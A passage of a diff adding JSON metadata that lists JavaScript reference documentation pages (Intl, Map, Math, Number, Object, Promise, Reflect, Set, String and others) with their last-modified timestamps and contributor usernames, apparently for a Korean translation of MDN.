+    "modified": "2019-03-18T21:46:44.351Z",
+    "contributors": [
+      "teoli",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/InternalError/prototype": {
+    "modified": "2019-03-23T22:28:33.047Z",
+    "contributors": [
+      "teoli",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl": {
+    "modified": "2020-10-15T21:56:50.642Z",
+    "contributors": [
+      "alattalatta",
+      "hrg921"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": {
+    "modified": "2020-10-15T22:07:32.322Z",
+    "contributors": [
+      "fscholz",
+      "alattalatta",
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype": {
+    "modified": "2020-10-15T22:22:06.369Z",
+    "contributors": [
+      "fscholz",
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/Locale": {
+    "modified": "2020-10-15T22:25:03.900Z",
+    "contributors": [
+      "fscholz",
+      "sffc"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/Locale/language": {
+    "modified": "2020-10-15T22:25:02.965Z",
+    "contributors": [
+      "fscholz",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat": {
+    "modified": "2020-10-15T22:08:58.601Z",
+    "contributors": [
+      "fscholz",
+      "alattalatta",
+      "SDSkyKlouD",
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype": {
+    "modified": "2020-10-15T22:21:51.361Z",
+    "contributors": [
+      "fscholz",
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON": {
+    "modified": "2020-10-15T21:43:51.602Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "goeo1066",
+      "Netaras",
+      "MexieAndCo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON/parse": {
+    "modified": "2020-10-15T21:44:14.822Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "subasuba"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON/stringify": {
+    "modified": "2020-11-10T21:46:18.524Z",
+    "contributors": [
+      "Ohora",
+      "alattalatta",
+      "churow",
+      "boyzgun",
+      "joshua1988",
+      "maytree",
+      "supermanWannaBe"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map": {
+    "modified": "2020-10-15T21:50:09.238Z",
+    "contributors": [
+      "Chloe-HyunJoo",
+      "alattalatta",
+      "younghoh",
+      "KaironMoon",
+      "echo304",
+      "dragmove"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag": {
+    "modified": "2020-10-15T22:04:19.848Z",
+    "contributors": [
+      "Seok.Heo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/Map": {
+    "modified": "2020-10-15T22:26:33.491Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/clear": {
+    "modified": "2020-10-15T22:09:01.449Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/delete": {
+    "modified": "2020-10-15T22:09:03.155Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/entries": {
+    "modified": "2020-10-15T22:09:02.936Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/forEach": {
+    "modified": "2020-10-15T22:20:31.940Z",
+    "contributors": [
+      "JaeWorld"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/get": {
+    "modified": "2020-10-15T22:15:40.628Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/has": {
+    "modified": "2020-10-15T22:15:44.379Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/prototype": {
+    "modified": "2020-10-15T21:55:20.178Z",
+    "contributors": [
+      "alattalatta",
+      "echo304"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/set": {
+    "modified": "2020-10-15T22:15:44.384Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/size": {
+    "modified": "2020-10-15T22:04:26.274Z",
+    "contributors": [
+      "Gren",
+      "Seok.Heo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math": {
+    "modified": "2020-10-15T21:38:50.083Z",
+    "contributors": [
+      "alattalatta",
+      "kimkyeseung",
+      "ejay0811",
+      "bombinari",
+      "imskojs",
+      "dale0713",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/E": {
+    "modified": "2020-10-15T21:56:48.942Z",
+    "contributors": [
+      "alattalatta",
+      "mantra78"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/LN10": {
+    "modified": "2020-10-15T22:12:27.389Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/LN2": {
+    "modified": "2020-10-15T22:12:33.707Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/LOG10E": {
+    "modified": "2020-10-15T21:45:43.847Z",
+    "contributors": [
+      "alattalatta",
+      "SeungYeol",
+      "seung-yeol"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/LOG2E": {
+    "modified": "2020-10-15T22:12:28.658Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/PI": {
+    "modified": "2020-10-15T21:57:11.130Z",
+    "contributors": [
+      "alattalatta",
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2": {
+    "modified": "2020-10-15T22:28:40.942Z",
+    "contributors": [
+      "129dot03"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/SQRT2": {
+    "modified": "2020-10-15T21:57:11.465Z",
+    "contributors": [
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/abs": {
+    "modified": "2020-10-15T21:57:04.759Z",
+    "contributors": [
+      "alattalatta",
+      "mantra78"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/acos": {
+    "modified": "2020-10-15T21:52:08.736Z",
+    "contributors": [
+      "alattalatta",
+      "keikeiem"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/cbrt": {
+    "modified": "2020-10-15T21:52:08.362Z",
+    "contributors": [
+      "alattalatta",
+      "keikeiem"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/ceil": {
+    "modified": "2019-03-23T22:13:49.234Z",
+    "contributors": [
+      "ironmanciti"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/exp": {
+    "modified": "2020-10-15T22:07:23.655Z",
+    "contributors": [
+      "qazxsw1240"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/floor": {
+    "modified": "2020-10-15T21:38:48.166Z",
+    "contributors": [
+      "alattalatta",
+      "EdwardBaek",
+      "laranhee",
+      "ChoeSul"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/fround": {
+    "modified": "2019-03-23T22:31:04.734Z",
+    "contributors": [
+      "ingee.kim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/imul": {
+    "modified": "2019-03-31T21:25:02.115Z",
+    "contributors": [
+      "cameo-js",
+      "ingee.kim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/log": {
+    "modified": "2020-10-15T21:55:33.977Z",
+    "contributors": [
+      "Luna4D"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/log2": {
+    "modified": "2020-10-15T21:57:12.002Z",
+    "contributors": [
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/max": {
+    "modified": "2020-10-15T21:56:06.992Z",
+    "contributors": [
+      "lanipark",
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/min": {
+    "modified": "2020-10-15T21:56:53.960Z",
+    "contributors": [
+      "mantra78"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/random": {
+    "modified": "2020-10-15T21:44:16.613Z",
+    "contributors": [
+      "caianyuan",
+      "EatChangmyeong",
+      "kuroneko0441",
+      "lazygyu",
+      "gamzza",
+      "maytree"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/round": {
+    "modified": "2020-10-15T22:12:25.570Z",
+    "contributors": [
+      "officialmansu"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/sign": {
+    "modified": "2020-10-15T21:59:54.584Z",
+    "contributors": [
+      "yssgo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/sin": {
+    "modified": "2020-10-15T22:14:16.419Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/sinh": {
+    "modified": "2020-10-15T22:23:26.235Z",
+    "contributors": [
+      "Eumhongin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/sqrt": {
+    "modified": "2020-10-15T21:57:12.700Z",
+    "contributors": [
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/tan": {
+    "modified": "2020-10-15T22:14:16.148Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/tanh": {
+    "modified": "2020-10-15T22:27:51.653Z",
+    "contributors": [
+      "FennecFoxSW"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/trunc": {
+    "modified": "2020-10-15T21:56:16.061Z",
+    "contributors": [
+      "mantra78",
+      "hefaitos"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/NaN": {
+    "modified": "2020-10-15T21:15:15.113Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "nacyot",
+      "teoli",
+      "Gilchris"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number": {
+    "modified": "2020-10-15T21:38:20.966Z",
+    "contributors": [
+      "soonsebii",
+      "alattalatta",
+      "DeadIntegral",
+      "taeunChoi",
+      "ChoeSul",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": {
+    "modified": "2020-10-15T21:48:35.594Z",
+    "contributors": [
+      "EntryDark",
+      "."
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": {
+    "modified": "2020-10-15T22:02:58.023Z",
+    "contributors": [
+      "alattalatta",
+      "kirrie"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": {
+    "modified": "2020-10-15T21:53:40.733Z",
+    "contributors": [
+      "alattalatta",
+      "kbsbroad"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": {
+    "modified": "2020-10-15T22:14:25.785Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": {
+    "modified": "2020-10-15T22:01:36.854Z",
+    "contributors": [
+      "alattalatta",
+      "sshplendid"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": {
+    "modified": "2020-10-15T22:15:09.850Z",
+    "contributors": [
+      "alattalatta",
+      "yami03"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/NaN": {
+    "modified": "2020-10-15T21:44:42.844Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": {
+    "modified": "2020-10-15T22:15:10.597Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/isFinite": {
+    "modified": "2020-10-15T21:44:34.313Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/isInteger": {
+    "modified": "2020-10-15T21:50:46.841Z",
+    "contributors": [
+      "alattalatta",
+      "Lutece"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/isNaN": {
+    "modified": "2020-10-15T21:44:51.414Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": {
+    "modified": "2020-10-15T21:53:40.478Z",
+    "contributors": [
+      "alattalatta",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": {
+    "modified": "2020-10-15T22:14:24.810Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/parseInt": {
+    "modified": "2020-10-15T21:38:16.285Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "chro0611"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/prototype": {
+    "modified": "2020-10-15T22:10:14.861Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/toExponential": {
+    "modified": "2020-10-15T22:16:46.694Z",
+    "contributors": [
+      "lifeisnovel"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/toFixed": {
+    "modified": "2020-10-15T21:50:45.262Z",
+    "contributors": [
+      "alattalatta",
+      "Lutece"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": {
+    "modified": "2020-10-15T22:02:15.943Z",
+    "contributors": [
+      "take0415"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/toString": {
+    "modified": "2020-10-15T21:48:38.962Z",
+    "contributors": [
+      "alattalatta",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number/valueOf": {
+    "modified": "2020-10-15T22:10:14.373Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object": {
+    "modified": "2020-10-15T21:19:43.435Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "palindrom615",
+      "callin2",
+      "StrongStoone",
+      "maytree",
+      "keikeiem",
+      "teoli",
+      "Jeado.Ko"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": {
+    "modified": "2020-10-15T22:08:32.403Z",
+    "contributors": [
+      "LeeDDHH"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/assign": {
+    "modified": "2020-10-15T21:49:34.841Z",
+    "contributors": [
+      "cs09g",
+      "limkukhyun",
+      "TK-one",
+      "alattalatta",
+      "LOG91",
+      "kikas",
+      "faker007",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/constructor": {
+    "modified": "2020-10-15T21:47:07.109Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/create": {
+    "modified": "2019-10-02T03:34:36.779Z",
+    "contributors": [
+      "ibizcox",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": {
+    "modified": "2020-10-15T21:54:36.990Z",
+    "contributors": [
+      "EatChangmyeong",
+      "KangHyeongMin",
+      "DevJang",
+      "BANIP"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": {
+    "modified": "2020-10-15T21:37:24.444Z",
+    "contributors": [
+      "alattalatta",
+      "kimkyeseung",
+      "mixed",
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/entries": {
+    "modified": "2020-10-15T22:08:09.257Z",
+    "contributors": [
+      "honggaruy",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/freeze": {
+    "modified": "2020-10-15T21:37:04.618Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "gatherKnowledge",
+      "roupkk",
+      "hanmomhanda"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": {
+    "modified": "2020-10-15T22:10:27.914Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": {
+    "modified": "2020-10-15T21:47:07.447Z",
+    "contributors": [
+      "fscholz",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": {
+    "modified": "2019-03-23T22:31:23.968Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": {
+    "modified": "2020-10-15T21:39:57.262Z",
+    "contributors": [
+      "Chloe-HyunJoo",
+      "alattalatta",
+      "epicsaga"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/is": {
+    "modified": "2020-10-15T21:31:34.796Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "nacyot",
+      "ligeek",
+      "lv0gun9"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": {
+    "modified": "2020-10-15T21:47:08.415Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": {
+    "modified": "2020-10-15T21:47:09.610Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": {
+    "modified": "2020-10-15T21:37:04.091Z",
+    "contributors": [
+      "alattalatta",
+      "BrandenYoon",
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isSealed": {
+    "modified": "2020-10-15T21:47:09.579Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": {
+    "modified": "2020-10-15T21:47:09.416Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": {
+    "modified": "2020-10-15T21:52:42.061Z",
+    "contributors": [
+      "deltakor1234",
+      "alattalatta",
+      "dotorify"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/prototype": {
+    "modified": "2020-10-15T21:34:43.084Z",
+    "contributors": [
+      "zero0yes",
+      "noritersand",
+      "alattalatta",
+      "Parcovia",
+      "Netaras",
+      "DavidSunny",
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/seal": {
+    "modified": "2020-10-15T21:37:04.586Z",
+    "contributors": [
+      "alattalatta",
+      "hanmomhanda"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf": {
+    "modified": "2020-11-04T03:29:23.911Z",
+    "contributors": [
+      "psk810",
+      "DevJang",
+      "kingsae1"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/toLocaleString": {
+    "modified": "2020-10-15T22:08:09.241Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/toString": {
+    "modified": "2020-10-15T21:46:52.765Z",
+    "contributors": [
+      "ESnark",
+      "alattalatta",
+      "limkukhyun",
+      "kennen",
+      "sandArtChip"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/valueOf": {
+    "modified": "2020-10-15T21:49:29.419Z",
+    "contributors": [
+      "honggaruy",
+      "alattalatta",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/values": {
+    "modified": "2020-10-15T22:01:47.626Z",
+    "contributors": [
+      "OhSeungHyeon",
+      "KIMSEONGSEOB"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise": {
+    "modified": "2020-10-15T21:37:31.734Z",
+    "contributors": [
+      "Vimming",
+      "alattalatta",
+      "khg0712",
+      "limkukhyun",
+      "samee",
+      "fscholz",
+      "NessunKim",
+      "ahnjungho",
+      "Netaras",
+      "redcamel",
+      "EunwooCho",
+      "akic4op4",
+      "0xABCDEF"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/Promise": {
+    "modified": "2020-10-15T22:27:11.901Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/all": {
+    "modified": "2020-10-15T21:45:48.976Z",
+    "contributors": [
+      "EatChangmyeong",
+      "alattalatta",
+      "DeadIntegral",
+      "limkukhyun",
+      "fscholz",
+      "hoony"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": {
+    "modified": "2020-10-15T22:24:05.512Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/finally": {
+    "modified": "2020-10-15T22:04:25.149Z",
+    "contributors": [
+      "ditto572",
+      "Seok.Heo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/prototype": {
+    "modified": "2020-10-15T21:47:20.685Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/race": {
+    "modified": "2020-10-15T21:47:12.859Z",
+    "contributors": [
+      "EatChangmyeong",
+      "alattalatta",
+      "seungha-kim",
+      "fscholz",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/reject": {
+    "modified": "2020-10-15T21:47:12.472Z",
+    "contributors": [
+      "fscholz",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/resolve": {
+    "modified": "2020-10-15T21:47:20.702Z",
+    "contributors": [
+      "cs09g",
+      "fscholz",
+      "QooQooDass",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/then": {
+    "modified": "2020-10-15T21:47:12.138Z",
+    "contributors": [
+      "EatChangmyeong",
+      "fscholz",
+      "KisukPark",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy": {
+    "modified": "2020-10-15T21:50:18.794Z",
+    "contributors": [
+      "alattalatta",
+      "callin2",
+      "heejunghwang"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler": {
+    "modified": "2020-10-15T21:55:35.789Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply": {
+    "modified": "2019-03-23T22:09:25.839Z",
+    "contributors": [
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RangeError": {
+    "modified": "2019-03-23T22:28:44.569Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ReferenceError": {
+    "modified": "2020-10-15T22:01:04.430Z",
+    "contributors": [
+      "goeo1066"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect": {
+    "modified": "2020-10-15T21:53:08.377Z",
+    "contributors": [
+      "alattalatta",
+      "undefcat"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/apply": {
+    "modified": "2020-10-15T21:53:07.400Z",
+    "contributors": [
+      "alattalatta",
+      "undefcat"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/construct": {
+    "modified": "2020-10-15T22:19:07.053Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": {
+    "modified": "2020-10-15T22:19:08.726Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": {
+    "modified": "2020-10-15T22:19:07.741Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/get": {
+    "modified": "2020-10-15T22:19:16.367Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": {
+    "modified": "2020-10-15T22:19:17.438Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": {
+    "modified": "2020-10-15T22:19:16.737Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/has": {
+    "modified": "2020-10-15T22:19:16.455Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": {
+    "modified": "2020-10-15T22:19:18.378Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": {
+    "modified": "2020-10-15T22:19:19.765Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": {
+    "modified": "2020-10-15T22:19:30.244Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/set": {
+    "modified": "2020-10-15T22:19:35.877Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": {
+    "modified": "2020-10-15T22:19:38.264Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RegExp": {
+    "modified": "2020-10-15T21:38:50.461Z",
+    "contributors": [
+      "alattalatta",
+      "EatChangmyeong",
+      "zerodice0",
+      "momoci99",
+      "hanabiai",
+      "Latera",
+      "tmxkwkfgka"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": {
+    "modified": "2020-10-15T22:32:38.454Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RegExp/exec": {
+    "modified": "2020-10-15T21:47:37.584Z",
+    "contributors": [
+      "alattalatta",
+      "yumi2011",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RegExp/n": {
+    "modified": "2020-10-15T22:18:51.448Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/RegExp/test": {
+    "modified": "2020-10-15T22:32:39.804Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set": {
+    "modified": "2020-10-15T21:48:48.879Z",
+    "contributors": [
+      "alattalatta",
+      "RingoKim",
+      "loslch",
+      "dale0713",
+      "NessunKim",
+      "Netaras",
+      "vsemozhetbyt"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/add": {
+    "modified": "2020-10-15T22:11:36.093Z",
+    "contributors": [
+      "alattalatta",
+      "chan337337"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/clear": {
+    "modified": "2020-10-15T22:15:10.272Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/delete": {
+    "modified": "2020-10-15T22:15:14.997Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/forEach": {
+    "modified": "2020-10-15T22:15:19.403Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/has": {
+    "modified": "2020-10-15T22:15:10.010Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/prototype": {
+    "modified": "2020-10-15T21:48:56.464Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/size": {
+    "modified": "2020-10-15T22:15:09.484Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/values": {
+    "modified": "2020-10-15T22:18:44.617Z",
+    "contributors": [
+      "VictorTaekLim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": {
+    "modified": "2020-10-15T21:58:45.362Z",
+    "contributors": [
+      "cs09g",
+      "ENvironmentSet"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype": {
+    "modified": "2020-10-15T22:15:02.439Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String": {
+    "modified": "2020-10-15T21:22:11.475Z",
+    "contributors": [
+      "alattalatta",
+      "seungha-kim",
+      "pusanbear",
+      "teoli",
+      "MoGi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/Trim": {
+    "modified": "2020-10-15T21:58:30.718Z",
+    "contributors": [
+      "alattalatta",
+      "dasebee"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/charAt": {
+    "modified": "2020-10-15T21:45:37.005Z",
+    "contributors": [
+      "bohyun611kim",
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
